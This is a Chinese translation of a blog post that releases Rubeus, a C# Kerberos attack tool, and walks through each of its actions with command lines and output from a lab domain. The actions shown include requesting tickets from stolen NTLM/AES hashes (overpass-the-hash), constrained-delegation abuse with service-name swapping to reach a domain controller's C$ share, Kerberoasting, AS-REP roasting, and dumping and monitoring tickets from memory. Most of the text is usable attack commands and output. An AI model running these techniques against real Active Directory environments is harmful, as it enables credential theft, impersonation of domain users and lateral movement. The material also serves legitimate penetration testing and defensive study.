译者摘要:Kekeo 是 MimiKatz 的作者 Benjamin 的一个很棒的项目,但由于一些限制影响了它在渗透测试行业中的广泛使用。本文作者将其功能使用C#进行重写,摆脱了第三方商业库的限制,希望 Kekeo 的超赞功能能够得到大家的重视和喜爱。
Kekeo,是 Benjamin Delpy 继 Mimikatz 之后开发的另一个大项目,这个代码库集成了很多很赞的功能。Benjamin 指出,将 Kekeo 从 Mimikatz 代码库独立出来的原因就是,“我讨厌编写网络相关代码;因为需要使用第三方商业代码库 ASN.1 ”。Kekeo提供的功能(包含但不限于):
- 使用用户 hash(rc4_hmac/aes128_cts_hmac_sha1/aes256_cts_hmac_sha1格式)请求 ticket-granting-tickets (TGTs) ,并将其注入到当前登陆session 。这提供了与 mimikatz 的 “over-pass-the-hash” 不同的选择,相比来说 kekeo 无须操作 LSASS 进程内存,也无须管理员权限;
- 从现有的 TGT 获取 service tickets (服务票据);
- 据我所知,除了 impacket 之外,唯一提供 S4U 约束授权滥用 (包括 sname 情形);
- Smartcard 滥用函数,对此我还未完全理解:)
- 以及更多!
但是,为什么渗透测试行业中 Kekeo 没有得到像 Mimikatz 一样的热烈欢迎呢?
部分原因在于它利用场景的细微差别,但是我认为还有两个主要原因。首先,Kekeo 与现有的 PE-loader 并未很好的兼容。我试过将其与 Invoke-ReflectivePEInjection 和 @subtee 的 .NET PE loader 配合使用,但却不是很成功。我想对此领域更加熟悉的人也许知道该如何正确地运行,但我就是成功不了。
第二点,Kekeo 需要一个商业 ASN.1 库。ASN.1 是 kerberos 数据流量中使用的编码方案,同时也用于其他许多地方。这意味着除非获取了这个库的商业许可,否则大部分使用者只能使用 Kekeo 的预编译发布版,而这会很容易就被 AV 盯上了。再加上之前提到的对修改的限制和与 PE loader 的兼容问题,大部分人就放弃了 Kekeo。而这太可惜了。
今天,我郑重发布 Rubeus , Kekeo 部分功能 (并非全部)的 C# 实现版本。我一直想深入了解一下 Kerberos 的结构和交换机制,从而能更好的理解整个Kerberos系统, 而这个项目正好给我提供了一个机会。 要明确的是:这些技术和实现是 Benjamin 的原创,我的项目只是用另一种语言进行了重新实现。我的代码库也借鉴了 Benjamin 的那位“犯罪伙伴”, Vincent LE TOUX, 他的知名项目 MakeMeEnterpriseAdmin 中提供了一些很赞的 C# 的 LSA 相关函数,为我节省了大量的时间。非常感谢 Benjamin 和 Vincent 开创了这个领域,并提供了很棒的代码库让我可以作为工作基础—没有他们的前期工作我的这个项目根本就不可能存在。
我想说的是,虽然有他俩提供的很好的基础,但这是我曾参与的最具技术挑战性的项目之一。我使用的 ASN.1 库比较“原始”,意味着每个 Kerberos 结构或多或少都需要自己动手实现。对于那些希望深入了解 kerberos 结构或 ASN.1 解析的同学,我唯一的警告是:“龙出没,注意。”
现在我们来进入有趣的环节:)
Rubeus
Rubeus (以Rubeus Hagrid 鲁伯·海格命名,他曾经驯养了自己的三头狗)(译者注,这里的鲁伯·海格是《哈利波特》中的人物,而 Kerberos 的意思正是三头怪兽)是一个用于在流量和主机级别上操控 Kerberos 各种组件的工具,它兼容 C# 3.0 版本(对应.NET 3.5版本)。Rubeus 使用 Thomas Pornin 的一个名为 DDer 的 C# ASN.1 解析/编码库,该库具有“类似MIT”的许可。前面提到,Kerberos 流量使用 ASN.1 编码,要找到一个可用的(且最小的)C# ASN.1 库真是一个艰巨的任务。非常感谢 Thomas 干净又稳定的代码!
Rubeus 有一系列的 “动作” /命令 。如果没有提供参数,将会显示如下帮助信息:
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
Rubeus usage:
Retrieve a TGT based on a user hash, optionally applying to a specific LUID or creating a /netonly process to apply the ticket to:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] [/createnetonly:C:WindowsSystem32cmd.exe] [/show]
Renew a TGT, optionally autorenewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]
Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:WindowsSystem32cmd.exe" [/show]
Perform Kerberoasting:
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDNUSER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform AS-REP "roasting" for users without preauth:
Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
Rubeus.exe harvest [/interval:MINUTES]
NOTE: Base64 ticket blobs can be decoded with :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String
接下来,我将介绍每个功能,用实例来解释每个函数的操作方法和使用安全警告,以及一个或多个例子。
另外,如上所示,除非指定了/ptt 选项,Rubeus 将会按列输出 blobs 的base64编码。要使用这些 blobs 数据,最简单的方法就是将其拷贝到 Sublime/VS code 之类的编辑器中,然后将“n ”做一个搜索/替换,从而将所有内容变成一行。然后就可以将得到的 base64 blob(s) 票据传递给其他的Rubeus 函数,或者用 powershell 简单地将它们保存到磁盘 :
[IO.File]::WriteAllBytes(“ticket.kirbi”, [Convert]::FromBase64String(“aaBASE64bd…”))
asktgt
asktgt 操作将为指定的用户和加密密钥(/rc4 or /aes256 )创建原始的 AS-REQ (TGT 请求) 数据。如果没有指定 /domain 参数,则默认使用主机当前所在域,如果没有指定 /dc 参数,则使用 DsGetDcName 来获取主机当前所在域的域控。如果认证成功,则解析收到的 AS-REP 并将 KRB-CRED(一个包含用户 TGT 的.kirbi 文件)输出为 base64 格式的 blob。如果指定 /ptt 参数,则将执行“pass the ticket”,即将生成的 Kerberos 凭证应用于当前登陆会话。而 /luid:X 参数则将生成的票据应用于指定的登陆会话(需要管理员权限)。如果指定了 /createnetonly:X 参数,则将使用 CreateProcessWithLogonW() 创建一个新的隐藏进程(除非指定了/show参数),其SECURITY_LOGON_TYPE被设置为9,相当于 runas /netonly。然后请求到的票据将应用于这个新的登录会话。
从操作上来说,这是 Mimikatz 的 sekurlsa::pth 命令的一个替代方案,该命令启动一个虚拟登陆会话/进程,并将提供的 hash 注入到进程中,从而启动接下来的票据交互过程。此进程将附加于 LSASS 进程并将对其内存进行操作,这个动作易被作为安全检测的特征,同时也需要管理员权限。
而在我们的实现中(或者Kekeo的tgt::ask模块里),由于我们只是将原始的 Kerberos 数据发送到当前或指定的域控上,在运行的主机上无须提升权限。我们只需要用户的正确的 rc4_hmac (/rc4) 或者 aes256_cts_hmac_sha1 (/aes256) hash ,就可以用来请求此用户的 TGT 了。
另外,还有一个操作安全说明:一次只能将一个 TGT 应用于当前登录会话。因此,使用 /ptt 选项应用新票据时会清除之前的 TGT。一个解决方法是使用 /createnetonly:X 参数, 或者使用 ptt /luid:X 来请求票据并应用于另外的登陆会话。
c:Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localdfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:WindowsSystem32cmd.exe
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:WindowsSystem32cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4988
[+] LUID : 6241024
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Target LUID : 6241024
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localharmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKgAwIB...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x5f3b00
[+] Ticket successfully imported!
如果未指定 /ptt 参数来将票据应用于当前登陆会话,则可以使用Rubeus的 ptt 命令,或者 Mimikatz 的 kerberos::ptt 功能,或者 Cobalt Strike 的 kerbeos_ticket_use 稍后再应用票据。
注意,/luid 和 /createnetonly 参数需要管理员权限执行!
renew
大多数域默认的 Kerberos 策略为 TGT 提供10小时的生命期,并具有7天的续订窗口。那这到底意味着什么呢?
当把一个用户的票据注入到 LSASS 进程时,注入的将不仅仅是 TGT,而是 KRB-CRED 结构 (即Mimikatz语言中的.kirbi文件),其中包括了用户的TGT(用krbtgt Kerberos 服务签名密钥进行加密)和 包含了一个或多个 KrbCredInfo 结构的 EncKrbCredPart 。这些最终的结构包含一个由 TGT 请求(AS-REQ/AS-REP)返回的 会话密钥 。这个会话密钥和不透明的 TGT blob 数据结合起来,可以请求一些附加的资源。这个会话密钥默认只有10个小时的生命期,但是 TGT 默认最多有7天的续订窗口,来接收一个新的会话密钥,从而就会有一个可用的 KRB-CRED 结构。
所以,如果你有一个在10小时的有效生命期内的 .kirbi 文件(或者对应的Rubeus base64 blob),并且还在7天的续订窗口期内,就可以使用 Kekeo 或者 Rubeus 来续订 TGT ,从而重启10个小时的窗口期,延长票据的有效生命期。
这个续订的动作将使用指定的 /ticket:X 来建立/解析一个原始的 TGS-REQ/TGS-REP TGT 续订交换过程。这个值也可设置为一个 .kirbi 文件的 base64 编码,或者是一个磁盘上的 .kirbi 文件的路径。如果未指定 /dc 参数,则将当前主机所在域的域控作为续订流量的目标。/ptt 参数将执行 “pass-the-ticket” ,并将生成的 Kerberos 凭证用于当前登录会话 。
c:Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCALdfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1500 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
如果你想要票据在到达续订窗口之前能够自动续订,只需使用 /autorenew 参数:
C:Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Auto-Renew TGT
[*] User : harmj0y@TESTLAB.LOCAL
[*] endtime : 9/24/2018 3:34:05 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 165 minutes (endTime-30) before the next renewal
[*] Renewing TGT for harmj0y@TESTLAB.LOCAL
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCALharmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 1370 bytes
[*] Received 1378 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKg...(snip)...
[*] User : harmj0y@TESTLAB.LOCAL
[*] endtime : 9/24/2018 8:03:55 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 269 minutes (endTime-30) before the next renewal
[*] Renewing TGT for harmj0y@TESTLAB.LOCAL
想更进一步的话,使用 Rubeus 的 harvest 函数,该功能将在系统上自动收集TGT并自动续订。
s4u
限制委派这一主题很难用一小段篇幅深入地解析清楚。有关更多的背景信息,可以查看我的文章 S4U2Pwnage 和相关资源。Rubeus 的操作和 Kekeo 中的 tgs::s4u 函数几乎一样。限制委派设置现在也是 BloodHound 2.0 搜集的信息之一了.
简要来说,如果一个用户或者计算机账户在其 msds-allowedToDelegateto 字段中设置了服务主体名称(SPN),并且攻击者获取了此用户/计算机的账户hash,则这个攻击者就可以在目标主机上伪装成任何域用户或任何服务。
滥用此 TTP 的方法,首先需要配置了限制委派的账户的有效 TGT/KRB-CRED 文件。使用此账户的 NTML/RC4 或 aes256_cts_hmac_sha1 哈希,利用 asktgt 功能即可获取这个文件。然后在 s4u 操作中,使用 /ticket 参数指定此票据文件(base64编码的blob 或者是磁盘上的一个票据文件),以及必需的 /impersonateuser:X 参数来指定要仿冒的账户, /msdsspn:SERVICE/SERVER 参数来指定账户的 msds-allowedToDelegateTo 字段中配置的 SPN 。而 /dc 和 /ptt 参数的功能与之前的操作相同。
/altservice 参数利用了 Alberto Solino‘s 的伟大发现,即 服务名称在KRB-CRED文件中不被保护 ,只有服务器名称才被保护。这就允许我们在生成的KRB-CRED(.kirbi)文件中替换我们想要的任何服务名称。
c:Temptickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localpatsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaE...(snip)...
c:Temptickets>Rubeus.exe s4u /ticket:C:TempTicketspatsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCALpatsy'
[*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaEDAgE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
或者,如果不提供 /ticket 参数,/user:X 和 /rc4:X 或 /aes256:X 哈希(/domain:X 可选 )可用于请求设置了限制委派的账户(/user 指定)的TGT,类似于 asktgt 操作,然后被用于 s4u 数据请求。
C:Temptickets>dir \primary.testlab.localC$
The user name or password is incorrect.
C:Temptickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localpatsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAg...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCALpatsy'
[*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:Temptickets>dir \primary.testlab.localC$
Volume in drive \primary.testlab.localC$ has no label.
Volume Serial Number is A48B-4D68
Directory of \primary.testlab.localC$
03/05/2017 05:36 PM <DIR> inetpub
08/22/2013 08:52 AM <DIR> PerfLogs
04/15/2017 06:25 PM <DIR> profiles
08/28/2018 12:51 PM <DIR> Program Files
08/28/2018 12:51 PM <DIR> Program Files (x86)
08/23/2018 06:47 PM <DIR> Temp
08/23/2018 04:52 PM <DIR> Users
08/23/2018 06:48 PM <DIR> Windows
8 Dir(s) 40,679,706,624 bytes free
ptt
Rubeus的 ptt 参数非常简单:它通过 LsaCallAuthenticationPackage() API 和一个 KERB_SUBMIT_TKT_REQUEST 消息来将票据(TGT或者服务票据 .kirbi)提交给当前登录会话,或者(已获取管理员权限)使用 /luid:X 参数指定的登录会话。这和 Mimikatz 的 kerberos::ptt 函数功能相同。与其他的 Rubeus /ticket:X 参数一样,这个值可以是一个.kirbi文件的base64编码或是.kirbi文件的磁盘路径。
c:Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Import Ticket
[+] Ticket successfully imported!
提醒一下,一个登录会话一次只能应用一个TGT!解决方法是使用 createnetonly 操作启动登录类型为9的进程,然后使用 /luid:X 参数来将票据应用于指定的登录ID。
请注意 /luid 参数需要管理员权限!
purge
purge 操作将清除当前登录会话中的所有 Kerberos 票据,或者 /luid:X 参数指定的登录会话。此操作的功能和 Mimikatz / Kekeo 的 Kerberos::purge 函数或 Cobalt Strike 的 kerberos_ticket_purge 功能相同。
C:Temptickets>Rubeus.exe purge
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[+] Tickets successfully purged!
C:Temptickets>Rubeus.exe purge /luid:34008685
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[*] Target LUID: 0x206ee6d
[+] Tickets successfully purged!
请注意 /luid 参数需要管理员权限!
describe
有时你想了解一个特定的 .kirbi Kerberos 票据的详细信息。describe 操作使用 /ticket:X 参数(TGT或服务票据),对此参数指定的票据进行解析,并描述其包含的值。像其他的 /ticket:X 参数一样,这个参数的值可以是一个 .kirbi 文件的 base64 编码,或者一个磁盘上的 .kirbi 文件路径。
c:Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Display Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt
ServiceRealm : TESTLAB.LOCAL
StartTime : 9/17/2018 6:51:00 PM
EndTime : 9/17/2018 11:51:00 PM
RenewTill : 9/24/2018 4:22:59 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 2Bpbt6YnV5PFdY7YTo2hyQ==
createnetonly
createnetonly 操作使用 CreateProcessWithLogonW() API 创建一个新的隐藏(除非指定了 /show 参数)进程,其SECURITY_LOGON_TYPE 是9(新建票据),相当于runas /netonly操作,返回这个进程的 ID 和 LUID (登录会话ID)。然后,就可以使用 ptt /luid:X 参数将指定的 Kerberos 票据应用于此进程,前提是已提升了权限。这样就可以防止清除当前登录会话的现有TGT。(译者注:从而实现将多个票据应用于同个登录会话)
C:Rubeus>Rubeus.exe createnetonly /program:"C:WindowsSystem32cmd.exe"
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:WindowsSystem32cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 9060
[+] LUID : 6290874
Kerberoast
kerberoast 操作实现了 SharpRoast 项目的功能。与 SharpRoast 一样,这部分功能使用了 KerberosRequestorSecurityToken.GetRequest Method().aspx) 方法,此方法是 @machosec 在 PowerView 项目中实现的,用于请求正确的服务票据。与 SharpRoast 不同的是,这个操作使用 ASN.1 来解析得到的结果结构,而非使用 janky regex 。
如果没有其他参数,则当前域中所有设置了 SPN 的用户账户都将被执行 kerberoast 操作。/spn:X 参数可针对指定的SPN 进行操作,/user:X 参数可针对指定的用户进行操作,/ou:X 参数可针对指定的 OU 中的用户进行操作。如果要使用备用域凭据进行 kerberoasing,可以使用 /creduser:DOMAIN.FQDNUSER /credpassword:PASSWORD 参数来指定。
c:Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Kerberoasting
[*] SamAccountName : testuser2
[*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName : service/host
[*] Hash : $krb5tgs$5$*$testlab.local$service/
asreproast
asreproast 操作和 ASREPRoast 项目的功能一致,后者使用(体积较大的) BouncyCastle 库实现类似的功能。如果一个用户没有启用 kerberos 预身份认证,则可以为此用户成功请求 AS-REP,而此结构的一个组件可以被离线破解,也就是 kerberoasting。
/user:X 参数是必需的,而 /domain 和 /dc 参数是可选的。如果 /domain 和 /dc 参数没有被指定,则 Rubeus 将和其他操作一样,获取系统的默认值。 ASREPRoast 项目中为此哈希类型提供了与 JohnTheRipper 兼容的破解模块。
c:Rubeus>Rubeus.exe asreproast /user:dfm.a
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: AS-REP Roasting
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.localdfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$dfm.a@testlab.local:F7310EA341128...(snip)..
dump
在已经管理员权限的情况下,dump 操作将从内存中提取当前的 TGT 和服务票据。可以使用 /service (使用 /service:krbtgt 来指定 TGT 票据)和 / 或 登录 ID ( luid:X 参数)来指定要提取的票据类型。操作将返回base64编码的blob 数据,并保存为KRB-CRED 文件(.kirbis)。此文件可被用于 ptt 操作,Mimikatz的 kerberos::ptt 功能,或者 Cobalt Strike 的 kerberos_ticket_use 操作。
c:Temptickets>Rubeus.exe dump /service:krbtgt /luid:366300
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Target LUID : 0x596f6
[*] Target service : krbtgt
UserName : harmj0y
Domain : TESTLAB
LogonId : 366326
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 9/17/2018 9:05:26 AM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : harmj0y@testlab.local
[*] Enumerated 1 ticket(s):
ServiceName : krbtgt
TargetName : krbtgt
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
StartTime : 9/17/2018 4:20:25 PM
EndTime : 9/17/2018 9:20:25 PM
RenewUntil : 9/24/2018 2:05:26 AM
TimeSkew : 0
EncodedTicketSize : 1338
Base64EncodedTicket :
doIFNjCCBTKgAwIBBaEDAg...(snip)...
[*] Enumerated 4 total tickets
[*] Extracted 1 total tickets
注意这个操作必须运行于管理员权限下,以获取其他用户的 Kerberos 票据!
monitor
monitor 操作将监视 4624 登录事件,并提取新登录 ID(LUID)的任意 TGT 票据。、interval 参数(以秒为单位,默认为60)来指定检查事件日志的频率。/filteruser:X 参数用于指定只返回特定用户的票据。此功能在没有设置约束委派的服务器上特别有用。
当 /fiteruser 指定的用户(如果未指定,则任何用户)创建一个新的4624登录事件时,将输出所有提取到的 TGT KRB-CRED 数据。
c:Rubeus>Rubeus.exe monitor /filteruser:dfm.a
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: TGT Monitoring
[*] Monitoring every 60 seconds for 4624 logon events
[*] Target user : dfm.a
[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCALdfm.a' from '192.168.52.100'
[*] Target LUID : 0x991972
[*] Target service : krbtgt
UserName : dfm.a
Domain : TESTLAB
LogonId : 10033522
UserSID : S-1-5-21-883232822-274137685-4173207997-1110
AuthenticationPackage : Kerberos
LogonType : Network
LogonTime : 9/18/2018 2:59:02 AM
LogonServer :
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName :
ServiceName : krbtgt
TargetName :
ClientName : dfm.a
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, renewable, forwarded, forwardable
StartTime : 9/17/2018 7:59:02 PM
EndTime : 9/18/2018 12:58:59 AM
RenewUntil : 9/24/2018 7:58:59 PM
TimeSkew : 0
